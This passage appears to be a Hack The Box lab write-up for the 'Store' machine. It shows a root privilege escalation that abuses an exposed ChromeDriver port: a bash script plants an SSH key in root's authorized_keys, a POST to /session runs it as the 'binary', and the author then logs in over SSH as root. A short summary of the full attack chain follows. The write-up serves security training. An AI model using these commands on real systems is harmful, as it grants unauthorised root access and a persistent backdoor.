{"value":{"error":"unknown command","message":"unknown command: unknown command: ","stacktrace":"#0 0x5a6de002ad93 \u003Cunknown>\n#1 0x5a6ddfdf92d7 \u003Cunknown>\n#2 0x5a6ddfe54f2c \u003Cunknown>\n#3 0x5a6ddfe54b82 \u003Cunknown>\n#4 0x5a6ddfdca2a3 \u003Cunknown>\n#5 0x5a6de007e8be \u003Cunknown>\n#6 0x5a6de00828f0 \u003Cunknown>\n#7 0x5a6de0062f90 \u003Cunknown>\n#8 0x5a6de0083b7d \u003Cunknown>\n#9 0x5a6de0054578 \u003Cunknown>\n#10 0x5a6ddfdc86ee \u003Cunknown>\n#11 0x79c371429d90 \u003Cunknown>\n"}​}

/status will show the current status:

dev@store:~$ curl 127.0.0.1:9515/status
{"value":{"build":{"version":"110.0.5481.77 (65ed616c6e8ee3fe0ad64fe83796c020644d42af-refs/branch-heads/5481@{#839})"},"message":"ChromeDriver ready for new sessions.","os":{"arch":"x86_64","name":"Linux","version":"6.8.0-1040-aws"},"ready":true}​}

/sessions shows no active sessions:

dev@store:~$ curl 127.0.0.1:9515/sessions
{"sessionId":"","status":0,"value":[]}

Searching for “Chrome webdriver RCE” , we can find the article shows how to start a new session with a POST to /session: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148

I will create a simple bash script to write my public key to the root user's authorized_keys file.

#!/bin/bash
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO0dl48snyfNIrhj7V9tMQpXE5B0uCuiCXQxCdZLYglN70DyHDODd5y6jdo4JhorRyBK7kEguQZErAGWtJOs9Q8Tk6VLE1PmRc+vZMFH7FhM+Bdr6kH3bjHbPvLr/rqwYKCzUB5oYZOAJP9+6azC/SiBdtne0TN7uzTLXIO9+nFvfX6ZEL+Exkc3Tux7BlmatBJAOjvSHY94NXylZzyNM8HKDLp1fR43f64oKDL5odQFumuYDS2PvRRTMcx9NJ8xc1PD2STFd9xXvcpyXnE+WJjbc0s/iq6bgw6FrN7yYEegXolRsLh9jMFQtfJnBExqK2PWMm++UH2U6W4CXdKq1Vjlj+ZbWoC8SM3lL+H2y+wB2xjugQolebG3JS1r6NLGCDygY25ySUskXPdprwPf6vFCQiSdr2EHATwJI3HQMMUyBuEuHawppop60atUcMOhXny0h7//zJ/td6fouJT14KxQ/3f3B/ifXoAmIX8Y15FBxY70qeubV1XE+TnaXaw7IdESxEn5mIl13cIleAv/UFF4fEyXutr3ceDFHE4MOsL4KzynSfNmUMKkkbf+IbVGiJTKrzjzcCPx4KBKkhybmidX3q3LOwXvtltF/7t5/bM9D8JB7rT/3VF4ECtPt9Mr2FbahMz9Uzm1yKcu0sNbx9DFKSVtn2larH+zqh7QU7iQ== test" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh

Now I would trigger it using Chrome:

dev@store:~$ curl localhost:9515/session -d '{"capabilities": {"alwaysMatch": {"goog:chromeOptions": {"binary": "/tmp/root.sh"}​}}​}'
{"value":{"error":"unknown error","message":"unknown error: Chrome failed to start: exited normally.\n  (unknown error: DevToolsActivePort file doesn't exist)\n  (The process started from chrome location /tmp/root.sh is no longer running, so ChromeDriver is assuming that Chrome has crashed.)","stacktrace":"#0 0x5a6de002ad93 \u003Cunknown>\n#1 0x5a6ddfdf92d7 \u003Cunknown>\n#2 0x5a6ddfe21ab0 \u003Cunknown>\n#3 0x5a6ddfe1da3d \u003Cunknown>\n#4 0x5a6ddfe624f4 \u003Cunknown>\n#5 0x5a6ddfe59353 \u003Cunknown>\n#6 0x5a6ddfe28e40 \u003Cunknown>\n#7 0x5a6ddfe2a038 \u003Cunknown>\n#8 0x5a6de007e8be \u003Cunknown>\n#9 0x5a6de00828f0 \u003Cunknown>\n#10 0x5a6de0062f90 \u003Cunknown>\n#11 0x5a6de0083b7d \u003Cunknown>\n#12 0x5a6de0054578 \u003Cunknown>\n#13 0x5a6de00a8348 \u003Cunknown>\n#14 0x5a6de00a84d6 \u003Cunknown>\n#15 0x5a6de00c2341 \u003Cunknown>\n#16 0x79c371494ac3 \u003Cunknown>\n"}​}

It reports failure, because my script isn’t a valid browser.

But we can ssh connect to root shell

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Store]
└─$ ssh root@10.129.249.96 -i ~/.ssh/id_rsa
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1040-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu Nov  6 12:41:37 UTC 2025

  System load:  0.05              Processes:             238
  Usage of /:   58.9% of 6.60GB   Users logged in:       0
  Memory usage: 12%               IPv4 address for eth0: 10.129.249.96
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Oct 24 11:11:21 2025
root@store:~# id
uid=0(root) gid=0(root) groups=0(root)
root@store:~# whoami
root

Description

The system exploits directory traversal through Express file storage to leak files encrypted with weak XOR (9 bytes), decrypts them to obtain SFTP credentials, accesses the host via SFTP, obtains an interactive shell through the Node.js remote debugging interface, and finally elevates the Chrome debug port running as root to code execution.